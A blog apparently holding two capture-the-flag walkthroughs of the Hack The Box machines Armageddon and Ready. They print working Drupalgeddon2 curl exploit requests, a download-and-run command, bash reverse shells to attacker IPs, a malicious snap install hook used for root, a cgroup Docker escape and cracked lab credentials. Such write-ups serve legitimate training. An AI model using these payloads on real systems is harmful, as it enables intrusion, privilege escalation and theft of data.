Hack The Box: Armageddon

Prelude

Armageddon was an intermediate box from Hack The Box, developed by bertolis. The name of the machine is derived from the Drupalgeddon2 exploit used to gain the initial foothold in the machine.

The initial foothold and gaining user access were pretty straightforward and basic. However, the privilege escalation part was one of a kind and because of that, the gaining root shell was a little bit tricky. Not too hard, just a little tricky to pull off.

Letโ€™s start the exploitation.

Exploitation

As usual I started the exploitation with an Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.233

And I got the scan result as follows.

Nmap scan report for 10.10.10.233
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

We can see that thereโ€™s only two open ports.

There is no OS information leaking from the SSH banner; However, from the Apache banner, I found out that the target OS is presumably CentOS 7.

 Then I started the enumeration of Port 80 by navigating to http://10.10.10.233 via the web browser and I was greeted with the following page.

I went ahead and tried to register a new account in the website. But, it throwed an error showing me that the server is unable to send email.

So, either the exploitation is an Unauthenticated one or we have to bruteforce the credentials. Since blind brute forcing is not a common scenario in HTB, I decided to google the website’s name to figure out more about the service and found a group of unauthenticated RCE vulnerabilities in Drupal 8 and 7 dubbed Drupalgeddon2.

From the earlier Nmap scan, I saw that the server is running Drupal 7. So, chances are this might be the exploit that I was looking for.

There was an autopwn ruby script, which wasn’t working for me.

However, there was a manual PoC exploit using cURL from g0tmilk’s github repo.

The exploit for Drupal 7 using user/password (PoC #3) was a two step RCE exploit, that exploited the triggering_element_name form & #post_render parameter in the user/password request.

The exploit will inject a shell command through the first request inside PHP’s passthru function and that request will generate a form_build_id. Then, we have to do a second request with the form_build_id we got from the first request to execute the command and the result of the executed command will be visible in the response of the server.

Request #1:

form_build_id=$(curl -k -s 'http://10.10.10.233/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' --data 'form_id=user_pass&_triggering_element_name=name' | grep form_build_id |cut -d ' ' -f4|cut -d = -f2|cut -d '"' -f2)

Request #2:

curl -k -i "http://10.10.10.233/?q=file/ajax/name/%23value/${form_build_id}" \
    --data "form_build_id=${form_build_id}"
Result of uname -a

An automated version of this exploit can be obtained from FireFart’s GitHub repo.

I modified and used that automated PoC and confirmed it worked as well.

However, this machine was a little finnicky and the usual reverse shell techniques didn’t work. The machine didn’t had netcat, bash reverse shell using /dev/tcp didn’t worked over this PoC script- probably due to some URL encoding weirdness and along with all that, binary files didn’t get executed in the target for some reason.

So, to manual enumerate the machine, I needed a more easy to use shell. So, I decided to get a reverse shell. But, since we have to URL encode the payload to execute commands with special characters, I created a hacky wrapper script over gotmi1k’s curl PoC to URL encode any commands and send the command to the target over CLI.

No more manual editing the PoC!

The python wrapper script can be found at my GitHub repo.

I then started a python http server and executed the following command using my hacky script to save the web shell to /var/www/html using cURL.

./exploit.py -h 'http://10.10.10.233' -c 'curl  http://10.10.14.36/rev.sh > /var/www/html/rev.sh; chmod 777 /var/www/html/rev.sh; bash /var/www/html/rev.sh '

And I’ve got a shell back!

Note: If you ever encounter a weird machine like this in a non-competitive CTF challenge, then uploading a web shell like a simple PHP web shell by artyuum to the target is almost always a quick and dirty method to ensure the code is getting executed. However, that might not always be the case during a real life penetration testing or during a competitive CTF challenge. If you must use a web shell in a real life scenario, then at the very least choose one with some sort of authentication and change the credentials. Also, when saving the web shell to the target, save it with a long and unique name that isn’t inside any public wordlists, so that it can’t be brute forced easily. Just a simple reminder to choose your tools according to your target.๐Ÿ˜Š

A simple PHP web shell by artyuum

Now, back to the exploitation…

Logging in as Brucetherealadmin

I’ve got a shell as apache user. A simple enumeration showed me that the target has a user account named brucetherealadmin. So, the user.txt flag might be inside the user.

I decided to look around the system and look for passwords in the configuration files. Drupal has a settings.php file, in which the credentials for the database is stored. The file was located at /var/www/html/sites/default/settings.php.

And from that, I got the credentials to the MySQL service running in the target.

The creds were drupaluser:CQHEy@9M*m23gBVj.

However, there was a small issue here. MySQL only plays well with TTY shells. But, I couldn’t upgrade my shell to a full TTY shell using the python way, as it throwed me a “OSError: out of pty devices” error.

So, I had to try other ways to interact with MySQL.

Interacting with MySQL without TTY

There are two ways to interact with MySQL without a full TTY.

  1. Execute commands in a one-liner and save the output to a file
  2. Dump the whole database using mysqldump and examine the database

The easiest method is the former one. I issued the following command to export the username and password from the users table from the drupal database.

mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e "select name,pass from users" > out.txt; cat out.txt

The hash is a Drupal 7.x hash as identified by HashID.

This is the first method to interact with MySQL without TTY.

The second method is to dump the SQL database into a file using the following command.

mysqldump --user=drupaluser --password=CQHEy@9M*m23gBVj --host=localhost drupal --result-file /var/www/html/test.sql

The ‘drupal‘ database dump will be saved in /var/www/html as test.sql

We can then download and import this database in a local database system and examine it.

Now that I got my hands on the hash, I used hashcat mode 7900 and the hash was instantly cracked.

The password of brucetherealadmin was booboo.

I tried this password in the SSH service and I got in!

If You Know What I Mean GIFs - Get the best GIF on GIPHY
Piece of Cake!

Privilege Escalation

Issuing sudo -l as brucethrealadmin showed that, he can run snap install as root.

Snap is a is a software packaging and deployment system and it deals with it’s own package format called snaps. Snaps is just another package format like rpm and deb, but it has several powerful features built-in. So, the privesc vector here is to create a malicious snaps package and install it with sudo.

I mainly used this article to build the malicious snap package. There are several things to notice when creating a snap package. But for us, we only need to worry about the basics like the snapcraft.yaml file; which defines the what, when and where of the package, a dummy program that exits without error to use as the main application and the snap hooks; the malicious file to execute when the package gets installed.

Here’s the speed run on the steps to create a terrible, yet malicious snap package. I used an Use a Ubuntu 18.04 VM from osboxes.org. The following steps are done inside the Ubuntu VM.

mkdir ~/test
cd ~/test

2. Create the application that exits cleanly

Here, I am using a python script

echo "#!/usr/bin/python3" > secnigma
echo "print("I am waiting!")" >> secnigma
chmod +x secnigma

Test the script if it is working perfectly or not.

./secnigma
Looking good!

3. Install snap craft

sudo snap install snapcraft --classic

4. Create the evil hooks file that executes upon installation

mkdir -p snap/hooks
echo "#!/bin/bash" > snap/hooks/configure
echo "bash /dev/shm/rev.sh" >> snap/hooks/configure
chmod a+x snap/hooks/configure

This hooks file is going to execute rev.sh file at /dev/shm. I used the rev.sh script I used to get a reverse shell back and placed it in /dev/shm.

# On armageddon
echo "sh -i >& /dev/tcp/10.10.14.36/443 0>&1" > /dev/shm/rev.sh; chmod a+x /dev/shm/rev.sh

5. Inside our test directory, create a snapcraft.yaml with the following contents

name: secnigma
summary: harmless reverse shell snapcraft.
description: |
  Follow me on twitter at secnigma
version: '1.0'
confinement: devmode
apps:
  secnigma:
    command: secnigma

parts:
  secnigma:
    plugin: dump
    build: |
            echo "Follow me on twitter!"

hooks:
  configure:
     plugs: [network]

Here the variables name upto version define the metadata of the package.

The confinement variable defines the isolation level of the package. If devmode is not specified, the app will run in a strict sandboxed mode. I don’t think that will affect our purpose here, but I set the confinement to devmode anyways as a failsafe. If confinement is set to devmode, then the --devmode flag must be passed to snap install. Since, sudo specified the asterisk (*) after snap install, we can pass this flag to snap.

The command is the variable that specifies how to invoke the package after install. The parts variable specifies the actual application to be included in the package. Not important, but required to craft the package.

The build variable specifies any script to execute during the build process. Totally optional.

The hook variable is the most important one for us. It defines to execute a script located at snap/hook/ directory upon installation. The configure variable tells snap to execute our malicious hook script when a package is installed ore re-installed (configured). The plugs: [network] define that this script requires network access.

With all these set, we can craft the package. Enter snapcraft to craft the contents into secnigma_1.0_amd64.snap package.

Output of snapcraft command

Tip: If you’re rebuilding the package, clean the remains of previous build and craft it again using the following one liner.

snapcraft clean secnigma -s pull; snapcraft

Then, I moved the resulting snapcraft package to the target.

Once the rev.sh is set up at /dev/shm, I started a netcat listener and issued the following command.

sudo /usr/bin/snap install --devmode ./secnigma.snap

And I got a root shell back with a snap!

Thanos Snap GIFs | Tenor
Just like that!

Postlude

Overall this was great machine. Gaining the user shell is pretty obvious for people with some experience in CTFs. But, the privilege escalation was pretty unique and taught me a vector that I’ve never seen before.

Kudos to bertolis for coming up with such awesome boxes. I really enjoyed solving Armageddon, just as much as his previous Ready box.

Hack The Box: Ready

Prelude

As evident from the title, I am in the process of migrating from abatchy’s OSCP like vulnhub machines list to other platforms. So, I decided to go with Hack The Box and Try Hack Me. HTB is actually a huge leap in comparison with vulnhub boxes and Try Hack Me, but nevertheless it is a great platform.

My goal is to start with HTB easy boxes and THM’s easy rooms. Then once a comfortable number of easy boxes/machines are rooted in both platforms, move on to their intermediate machines/rooms.

This machine Ready was marked as an Easy machine, however the “easiness” is relative. Quoting vulnhub here, What you find “hard”, other people may find “easy” and vice versa.

Overall, this machine was a roller coaster ride. Getting initial foothold was straight forward. But as a beginner to gitlab configurations and docker escapes, this felt like an easy-intermediate machine and since free users can’t reset the machines (as easily as VIP), the container escape was a painfully long process of waiting for reset and trying out the exploit.

Overall this machine was an incredible learning experience in pentesting and maintaining patience.

The Love Notepad (Inazuma Eleven All Series Oneshot) - โ€ข Fujiwara Chika (  GIF ) โ€ข | Anime faces expressions, Anime, Anime expressions

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.220

And the result I got is as follows.

Nmap scan report for 10.10.10.220
Host is up (0.16s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 AA:22:CC:44:DD:66:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 AA:22:CC:44:DD:66:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 AA:22:CC:44:DD:66:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May  3 13:46:18 2021 -- 1 IP address (1 host up) scanned in 20.87 seconds

We have two ports open.

Googling the OpenSSH version showed that the target version as Ubuntu Focal.

After finding out the target OS, I proceeded to enumerate port 5080.

Navigating to http://10.10.10.220:5080 showed the a Gitlab front page.

Since, I don’t have any credentials, I signed up for an account.

After I logged in, I navigated to http://10.10.10.220:5080/help to find the version.

PRO TIP #1: We can also navigate to http://10.10.10.220:5080 /api/v4/version to find the version (After Authentication).

Searchsploit-ing the version has showed an Authenticated RCE exploit!

I ran the 49334.py exploit by using the following command with the credentials I used to signup to GitLab.

python 49334.py -u secnigma -p test1234 -g http://10.10.10.220 -l 10.10.14.89 -P 9001

And I got a shell back!

EZPZ Right!?

PRO TIP #2: We should always start the netcat listener inside a bash shell, since ZSH won’t upgrade our shell to a full TTY using the stty raw -echo method.

I was logged into the machine as git user.

There was not too much to go around except for the user flag at /home/dude directory.

So, I started the LinPEAS enumeration. But, there wasn’t anything too interesting in LinPEAS output; or so I thought.

However, there were some curious things in the LinPEAS report, which I missed in my initial speed read.

For starters, LinPeas reported that we were inside a docker container.

So, probably the privesc vector might be escaping the docker container.

So, I started to look around Docker escape techniques and came up with two exploits; which will be explained below.

Docker Container escape techniques

Like I said above, I have found two potential container escape techniques. One was a CVE and the other was an exploitation technique based on container misconfiguration.

The first exploit I found was CVE-2019-5736. This exploit escapes docker container by overwriting and executing the host system’s runc binary from within the container. runc is a CLI tool for spawning and running containers according to the OCI specification.

The second container escaping technique I found was this (Second PoC). You can learn more about this technique from this blog post. This technique exploits a misconfigured docker container that meets the following criteria:

  1. We must be running as root inside the container
  2. The container must be run with the SYS_ADMIN Linux capability
  3. The container must lack an AppArmor profile, or otherwise allow the mount syscall
  4. The cgroup v1 virtual filesystem must be mounted read-write inside the container

I have found the fdisk binary at /sbin using find /-type f -name fdisk 2>/dev/null.

I can use the mount command to view mount points. The output of the command showed me that cgroup virtual filesystem has mounted as read-write inside the container .

I still don’t know if the fs is cgroup v1 or not, but let’s hope it is.

So, In theory, if I got a root shell on the container and if the container is was running with all the criteria mentioned above, then I could escape the container.

But, since these exploitation techniques I found requires me to have root access on the container, I couldn’t test them out.

Can you imagine my frustration!?

Frustrated Woman GIFs - Get the best GIF on GIPHY

So, I took a break to cool of my mind.

When I returned, I started re-reading the LinPEAS output like crazy, but nothing stood out.

Then I went to htb forums to get some nudges. There was n number of comments telling different things. However, one comment in particular stood out. Someone said something about reading configuration files.

Getting root inside Docker

So, I went back and looked for configuration files found in LinPEAS and began to grep them for the string password one by one.

I then noticed that GitLab has a PostgresSQL database as a running process. So, I googled the location of PostgreSQL configuration file to find potential passwords.

My idea was to login to PostgreSQL using the credentials in the configuration file and check for password re-use. The location of the GitLab configuration was found to be at /etc/gitlab/gitlab.rb.

However, /etc/gitlab/gitlab.rb was not accessible due to permissions.

So, I searched for gitlab.rb files system wide.

find / -type f -name gitlab.rb 2>/dev/null

And found out several gitlab.rb files!

That was a dumb thing to do and I still don’t know why I did that. However, that was fruitful!

So, I grep-ed every gitlab.rc file for the string password.

grep -i password /opt/backup/gitlab.rb|grep -v ^#

And found an SNMP password at /opt/backup/gitlab.rc.

Then I tried the password for password reuse.

su root
Password:wW59U!ZKMbG9+*#h

And I was in!

Was it as easy as it looks?

The Pursuitof Happyness Clap GIF - ThePursuitofHappyness Clap Satisfied -  Discover & Share GIFs
No sir it wasn’t.

As I thought, there wasn’t a root flag inside docker container.

Moving on…

Escaping Docker Container

I have got root. Now it’s time to bring my arsenal.

I have tried the first exploit. It involved building an executable in go and dropping the binary in the container. But, that didn’t work.

So, I tried the second escape technique; which was easy, since it only required to execute a set of commands, thanks to hacktricks.xyz.

I issued the following commands inside the container as root.

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/10.10.14.89/9001 0>&1" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

And I got a shell back!

Woot Woot!

Now, full disclaimer I didn’t get the root flag the first time the way I explained above. I got root by an unintended way (explained below) as the above exploit wasn’t working at that time.

So, I waited a painfully long period for the machine to be reset, tried the above exploit again and got root shell the second time. The unintended way was quite promising; however, no matter what I tried, I couldn’t get a Shell via the unintended way. Oh well!

Unintended way of getting root flag

The unintended way is explained in the same hacktricks.xyz article as I’ve mentioned above (First PoC). This didn’t work completely for some reason, but I could mount the host fs inside the docker container!

To perform this, the container should meet the following criteria.

  1. We must be running as root inside the container
  2. Running docker with –privileged flag
fdisk -l
mkdir /tmp/test
mount /dev/sda2 /tmp/test

Now, I could navigate through the file system and find the root flag that way!

Now, I tried to drop SSH keys inside the host’s file system and tried to login to the host via SSH.

ssh root@10.10.10.220

But, that failed miserably no matter what I tried. Oh Well!

Edit: This issue might’ve happened probably because the machine were in a messed up state, as others who wrote writeup for Ready have escalated privileged through this method fairly easily.
One reset could’ve made this worked for me, but I was all out of resets at that time!  
๐Ÿ˜… 
Links to the walkthrough is given below:
Video of IppSec

Overall, this was a great box and I have learned some cool misconfigurations and vulnerabilities to look out for. Also, this machine reassured that how important it is to have basic linux skills in the domain of Infosec, as without find and grep, I would’ve never solved this machine! ๐Ÿ˜…

So, thanks to bertolis for creating this machine, Dick Haight for developing find and Ken Thompson for finding the venerable grep! ๐Ÿ˜„